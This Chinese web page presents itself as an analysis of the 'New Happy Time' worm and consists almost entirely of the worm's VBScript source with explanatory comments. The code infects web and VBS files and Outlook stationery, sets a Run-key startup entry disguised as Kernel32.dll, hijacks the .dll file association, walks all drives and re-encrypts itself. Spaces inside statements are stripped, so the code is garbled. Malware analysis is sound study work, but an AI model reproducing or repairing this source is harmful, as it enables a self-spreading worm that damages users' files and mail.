新欢乐时光代码分析

时间:2021-05-18

<%
DimInWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk

SubKJ_start()
'初始化变量
KJSetDim()
'初始化环境
KJCreateMilieu()
'感染本地或者共享上与html所在目录
KJLikeIt()
'通过vbs感染Outlook邮件模板
KJCreateMail()
'进行病毒传播
KJPropagate()
EndSub

'函数:KJAppendTo(FilePath,TypeStr)
'功能:向指定类型的指定文件追加病毒
'参数:
'FilePath指定文件路径
'TypeStr指定类型

FunctionKJAppendTo(FilePath,TypeStr)
OnErrorResumeNext
'以只读方式打开指定文件
SetReadTemp=FSO.OpenTextFile(FilePath,1)
'将文件内容读入到TmpStr变量中
TmpStr=ReadTemp.ReadAll
'判断文件中是否存在"KJ_start()"字符串,若存在说明已经感染,退出函数;
'若文件长度小于1,也退出函数。
IfInStr(TmpStr,"KJ_start()")<>0OrLen(TmpStr)<1Then
ReadTemp.Close
ExitFunction
EndIf
'如果传过来的类型是"htt"
'在文件头加上调用页面的时候加载KJ_start()函数;
'在文件尾追加html版本的加密病毒体。
'如果是"html"
'在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体;
'如果是"vbs"
'在文件尾追加vbs版本的病毒体
IfTypeStr="htt"Then
ReadTemp.Close
SetFileTemp=FSO.OpenTextFile(FilePath,2)
FileTemp.Write"<"&"BODYonload="""
&"vbscript:"&"KJ_start()"""&">"&vbCrLf&TmpStr&vbCrLf&HtmlText
FileTemp.Close
SetFAttrib=FSO.GetFile(FilePath)
FAttrib.Attributes=34
Else
ReadTemp.Close
SetFileTemp=FSO.OpenTextFile(FilePath,8)
IfTypeStr="html"Then
FileTemp.WritevbCrLf&"<"&"HTML>"&vbCrLf&"<"
&"BODYonload="""&"vbscript:"&"KJ_start()"""&">"&vbCrLf&HtmlText
ElseIfTypeStr="vbs"Then
FileTemp.WritevbCrLf&VbsText
EndIf
FileTemp.Close
EndIf
EndFunction

'函数:KJChangeSub(CurrentString,LastIndexChar)
'功能:改变子目录以及盘符
'参数:
'CurrentString当前目录
'LastIndexChar上一级目录在当前路径中的位置

FunctionKJChangeSub(CurrentString,LastIndexChar)
'判断是否是根目录
IfLastIndexChar=0Then
'如果是根目录
'如果是C:\,返回FinalyDisk盘,并将SubE置为0,
'如果不是C:\,返回将当前盘符递减1,并将SubE置为0
IfLeft(LCase(CurrentString),1)=<LCase("c")Then
KJChangeSub=FinalyDisk&":\"
SubE=0
Else
KJChangeSub=Chr(Asc(Left(LCase(CurrentString),1))-1)&":\"
SubE=0
EndIf
Else
'如果不是根目录,则返回上一级目录名称
KJChangeSub=Mid(CurrentString,1,LastIndexChar)
EndIf
EndFunction

'函数:KJCreateMail()
'功能:感染邮件部分

FunctionKJCreateMail()
OnErrorResumeNext
'如果当前执行文件是"html"的,就退出函数
IfInWhere="html"Then
ExitFunction
EndIf
'取系统盘的空白页的路径
ShareFile=Left(WinPath,3)&"ProgramFiles\CommonFiles\MicrosoftShared\Stationery\blank.htm"
'如果存在这个文件,就向其追加html的病毒体
'否则生成含有病毒体的这个文件
If(FSO.FileExists(ShareFile))Then
CallKJAppendTo(ShareFile,"html")
Else
SetFileTemp=FSO.OpenTextFile(ShareFile,2,true)
FileTemp.Write"<"&"HTML>"&vbCrLf&"<"&"BODYonload="""&"vbscript:"&"KJ_start()"""&">"&vbCrLf&HtmlText
FileTemp.Close
EndIf
'取得当前用户的ID和OutLook的版本
DefaultId=WsShell.RegRead("HKEY_CURRENT_USER\Identities\DefaultUserID")
OutLookVersion=WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\OutlookExpress\MediaVer")
'激活信纸功能,并感染所有信纸
WsShell.RegWrite"HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\OutlookExpress\"&Left(OutLookVersion,1)&".0\Mail\ComposeUseStationery",1,"REG_DWORD"
CallKJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\OutlookExpress\"&Left(OutLookVersion,1)&".0\Mail\StationeryName",ShareFile)
CallKJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\OutlookExpress\"&Left(OutLookVersion,1)&".0\Mail\WideStationeryName",ShareFile)
WsShell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"
CallKJMailReg("HKEY_CURRENT_USER\Software\Microsoft\WindowsMessagingSubsystem\Profiles\MicrosoftOutlookInternetSettings\0a0d020000000000c000000000000046\001e0360","blank")
CallKJMailReg("HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\WindowsMessagingSubsystem\Profiles\MicrosoftOutlookInternetSettings\0a0d020000000000c000000000000046\001e0360","blank")
WsShell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"
CallKJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank")
KJummageFolder(Left(WinPath,3)&"ProgramFiles\CommonFiles\MicrosoftShared\Stationery")
EndFunction


'函数:KJCreateMilieu()
'功能:创建系统环境

FunctionKJCreateMilieu()
OnErrorResumeNext
TempPath=""
'判断操作系统是NT/2000还是9X
IfNot(FSO.FileExists(WinPath&"WScript.exe"))Then
TempPath="system32\"
EndIf
'为了文件名起到迷惑性,并且不会与系统文件冲突。
'如果是NT/2000则启动文件为system\Kernel32.dll
'如果是9x启动文件则为system\Kernel.dll
IfTempPath="system32\"Then
StartUpFile=WinPath&"SYSTEM\Kernel32.dll"
Else
StartUpFile=WinPath&"SYSTEM\Kernel.dll"
EndIf
'添加Run值,添加刚才生成的启动文件路径
WsShell.RegWrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile
'拷贝前期备份的文件到原来的目录
FSO.CopyFileWinPath&"web\kjwall.gif",WinPath&"web\Folder.htt"
FSO.CopyFileWinPath&"system32\kjwall.gif",WinPath&"system32\desktop.ini"
'向%windir%\web\Folder.htt追加病毒体
CallKJAppendTo(WinPath&"web\Folder.htt","htt")
'改变dll的MIME头
'改变dll的默认图标
'改变dll的打开方式
WsShell.RegWrite"HKEY_CLASSES_ROOT\.dll\","dllfile"
WsShell.RegWrite"HKEY_CLASSES_ROOT\.dll\ContentType","application/x-msdownload"
WsShell.RegWrite"HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\")
WsShell.RegWrite"HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript"
WsShell.RegWrite"HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",WinPath&TempPath&"WScript.exe""%1""%*"
WsShell.RegWrite"HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}"
WsShell.RegWrite"HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}"
'启动时加载的病毒文件中写入病毒体
SetFileTemp=FSO.OpenTextFile(StartUpFile,2,true)
FileTemp.WriteVbsText
FileTemp.Close
EndFunction

'函数:KJLikeIt()
'功能:针对html文件进行处理,如果访问的是本地的或者共享上的文件,将感染这个目录

FunctionKJLikeIt()
'如果当前执行文件不是"html"的就退出程序
IfInWhere<>"html"Then
ExitFunction
EndIf
'取得文档当前路径
ThisLocation=document.location
'如果是本地或网上共享文件
IfLeft(ThisLocation,4)="file"Then
ThisLocation=Mid(ThisLocation,9)
'如果这个文件扩展名不为空,在ThisLocation中保存它的路径
IfFSO.GetExtensionName(ThisLocation)<>""Then
ThisLocation=Left(ThisLocation,Len(ThisLocation)-Len(FSO.GetFileName(ThisLocation)))
EndIf
'如果ThisLocation的长度大于3就尾追一个"\"
IfLen(ThisLocation)>3Then
ThisLocation=ThisLocation&"\"
EndIf
'感染这个目录
KJummageFolder(ThisLocation)
EndIf
EndFunction

'函数:KJMailReg(RegStr,FileName)
'功能:如果注册表指定键值不存在,则向指定位置写入指定文件名
'参数:
'RegStr注册表指定键值
'FileName指定文件名

FunctionKJMailReg(RegStr,FileName)
OnErrorResumeNext
'如果注册表指定键值不存在,则向指定位置写入指定文件名
RegTempStr=WsShell.RegRead(RegStr)
IfRegTempStr=""Then
WsShell.RegWriteRegStr,FileName
EndIf
EndFunction

'函数:KJOboSub(CurrentString)
'功能:遍历并返回目录路径
'参数:
'CurrentString当前目录

FunctionKJOboSub(CurrentString)
SubE=0
TestOut=0
DoWhileTrue
TestOut=TestOut+1
IfTestOut>28Then
CurrentString=FinalyDisk&":\"
ExitDo
EndIf
OnErrorResumeNext
'取得当前目录的所有子目录,并且放到字典中
SetThisFolder=FSO.GetFolder(CurrentString)
SetDicSub=CreateObject("Scripting.Dictionary")
SetFolders=ThisFolder.SubFolders
FolderCount=0
ForEachTempFolderinFolders
FolderCount=FolderCount+1
DicSub.AddFolderCount,TempFolder.Name
Next
'如果没有子目录了,就调用KJChangeSub返回上一级目录或者更换盘符,并将SubE置1
IfDicSub.Count=0Then
LastIndexChar=InstrRev(CurrentString,"\",Len(CurrentString)-1)
SubString=Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
CurrentString=KJChangeSub(CurrentString,LastIndexChar)
SubE=1
Else
'如果存在子目录
'如果SubE为0,则将CurrentString变为它的第1个子目录
IfSubE=0Then
CurrentString=CurrentString&DicSub.Item(1)&"\"
ExitDo
Else
'如果SubE为1,继续遍历子目录,并将下一个子目录返回
j=0
Forj=1ToFolderCount
IfLCase(SubString)=LCase(DicSub.Item(j))Then
Ifj<FolderCountThen
CurrentString=CurrentString&DicSub.Item(j+1)&"\"
ExitDo
EndIf
EndIf
Next
LastIndexChar=InstrRev(CurrentString,"\",Len(CurrentString)-1)
SubString=Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
CurrentString=KJChangeSub(CurrentString,LastIndexChar)
EndIf
EndIf
Loop
KJOboSub=CurrentString
EndFunction

'函数:KJPropagate()
'功能:病毒传播

FunctionKJPropagate()
OnErrorResumeNext
RegPathvalue="HKEY_LOCAL_MACHINE\Software\Microsoft\OutlookExpress\Degree"
DiskDegree=WsShell.RegRead(RegPathvalue)
'如果不存在Degree这个键值,DiskDegree则为FinalyDisk盘
IfDiskDegree=""Then
DiskDegree=FinalyDisk&":\"
EndIf
'继DiskDegree置后感染5个目录
Fori=1To5
DiskDegree=KJOboSub(DiskDegree)
KJummageFolder(DiskDegree)
Next
'将感染记录保存在"HKEY_LOCAL_MACHINE\Software\Microsoft\OutlookExpress\Degree"键值中
WsShell.RegWriteRegPathvalue,DiskDegree
EndFunction

'函数:KJummageFolder(PathName)
'功能:感染指定目录
'参数:
'PathName指定目录

FunctionKJummageFolder(PathName)
OnErrorResumeNext
'取得目录中的所有文件集
SetFolderName=FSO.GetFolder(PathName)
SetThisFiles=FolderName.Files
HttExists=0
ForEachThisFileInThisFiles
FileExt=UCase(FSO.GetExtensionName(ThisFile.Path))
'判断扩展名
'若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体
'若是VBS则向文件中追加VBS版的病毒体
'若是HTT,则标志为已经存在HTT了
IfFileExt="HTM"OrFileExt="HTML"OrFileExt="ASP"OrFileExt="PHP"OrFileExt="JSP"Then
CallKJAppendTo(ThisFile.Path,"html")
ElseIfFileExt="VBS"Then
CallKJAppendTo(ThisFile.Path,"vbs")
ElseIfFileExt="HTT"Then
HttExists=1
EndIf
Next
'如果所给的路径是桌面,则标志为已经存在HTT了
If(UCase(PathName)=UCase(WinPath&"Desktop\"))Or(UCase(PathName)=UCase(WinPath&"Desktop"))Then
HttExists=1
EndIf
'如果不存在HTT
'向目录中追加病毒体
IfHttExists=0Then
FSO.CopyFileWinPath&"system32\desktop.ini",PathName
FSO.CopyFileWinPath&"web\Folder.htt",PathName
EndIf
EndFunction

'函数KJSetDim()
'定义FSO,WsShell对象
'取得最后一个可用磁盘卷标
'生成传染用的加密字串
'备份系统中的web\folder.htt和system32\desktop.ini

FunctionKJSetDim()
OnErrorResumeNext
Err.Clear

'测试当前执行文件是html还是vbs
TestIt=WScript.ScriptFullname
IfErrThen
InWhere="html"
Else
InWhere="vbs"
EndIf

'创建文件访问对象和Shell对象
IfInWhere="vbs"Then
SetFSO=CreateObject("Scripting.FileSystemObject")
SetWsShell=CreateObject("WScript.Shell")
Else
SetAppleObject=document.applets("KJ_guest")
AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
AppleObject.createInstance()
SetWsShell=AppleObject.GetObject()
AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
AppleObject.createInstance()
SetFSO=AppleObject.GetObject()
EndIf
SetDiskObject=FSO.Drives
'判断磁盘类型
'
'0:Unknown
'1:Removable
'2:Fixed
'3:Network
'4:CD-ROM
'5:RAMDisk
'如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、CD-ROM、RAMDisk都是在比较靠后的位置。呵呵,如果C:是RAMDISK会怎么样?
ForEachDiskTempInDiskObject
IfDiskTemp.DriveType<>2AndDiskTemp.DriveType<>1Then
ExitFor
EndIf
FinalyDisk=DiskTemp.DriveLetter
Next

'此前的这段病毒体已经解密,并且存放在ThisText中,现在为了传播,需要对它进行再加密。
'加密算法
DimOtherArr(3)
Randomize
'随机生成4个算子
Fori=0To3
OtherArr(i)=Int((9*Rnd))
Next
TempString=""
Fori=1ToLen(ThisText)
TempNum=Asc(Mid(ThisText,i,1))
'对回车、换行(0x0D,0x0A)做特别的处理
IfTempNum=13Then
TempNum=28
ElseIfTempNum=10Then
TempNum=29
EndIf
'很简单的加密处理,每个字符减去相应的算子,那么在解密的时候只要按照这个顺序每个字符加上相应的算子就可以了。
TempChar=Chr(TempNum-OtherArr(iMod4))
IfTempChar=Chr(34)Then
TempChar=Chr(18)
EndIf
TempString=TempString&TempChar
Next
'含有解密算法的字串
UnLockStr="Execute(""DimKeyArr(3),ThisText""&vbCrLf&""KeyArr(0)="&OtherArr(0)&"""&vbCrLf&""KeyArr(1)="&OtherArr(1)&"""&vbCrLf&""KeyArr(2)="&OtherArr(2)&"""&vbCrLf&""KeyArr(3)="&OtherArr(3)&"""&vbCrLf&""Fori=1ToLen(ExeString)""&vbCrLf&""TempNum=Asc(Mid(ExeString,i,1))""&vbCrLf&""IfTempNum=18Then""&vbCrLf&""TempNum=34""&vbCrLf&""EndIf""&vbCrLf&""TempChar=Chr(TempNum+KeyArr(iMod4))""&vbCrLf&""IfTempChar=Chr(28)Then""&vbCrLf&""TempChar=vbCr""&vbCrLf&""ElseIfTempChar=Chr(29)Then""&vbCrLf&""TempChar=vbLf""&vbCrLf&""EndIf""&vbCrLf&""ThisText=ThisText&TempChar""&vbCrLf&""Next"")"&vbCrLf&"Execute(ThisText)"
'将加密好的病毒体复制给变量ThisText
ThisText="ExeString="""&TempString&""""
'生成html感染用的脚本
HtmlText="<"&"scriptlanguage=vbscript>"&vbCrLf&"document.write"&""""&"<"&"divstyle='position:absolute;left:0px;top:0px;width:0px;height:0px;z-index:28;visibility:hidden'>"&"<""&"""&"APPLETNAME=KJ""&""_guestHEIGHT=0WIDTH=0code=com.ms.""&""activeX.Active""&""XComponent>"&"<"&"/APPLET>"&"<"&"/div>"""&vbCrLf&"<"&"/script>"&vbCrLf&"<"&"scriptlanguage=vbscript>"&vbCrLf&ThisText&vbCrLf&UnLockStr&vbCrLf&"<"&"/script>"&vbCrLf&"<"&"/BODY>"&vbCrLf&"<"&"/HTML>"
'生成vbs感染用的脚本
VbsText=ThisText&vbCrLf&UnLockStr&vbCrLf&"KJ_start()"
'取得Windows目录
'GetSpecialFolder(n)
'0:WindowsFolder
'1:SystemFolder
'2:TemporaryFolder
'如果系统目录存在web\Folder.htt和system32\desktop.ini,则用kjwall.gif文件名备份它们。
WinPath=FSO.GetSpecialFolder(0)&"\"
If(FSO.FileExists(WinPath&"web\Folder.htt"))Then
FSO.CopyFileWinPath&"web\Folder.htt",WinPath&"web\kjwall.gif"
EndIf
If(FSO.FileExists(WinPath&"system32\desktop.ini"))Then
FSO.CopyFileWinPath&"system32\desktop.ini",WinPath&"system32\kjwall.gif"
EndIf
EndFunction
%>

声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。

相关文章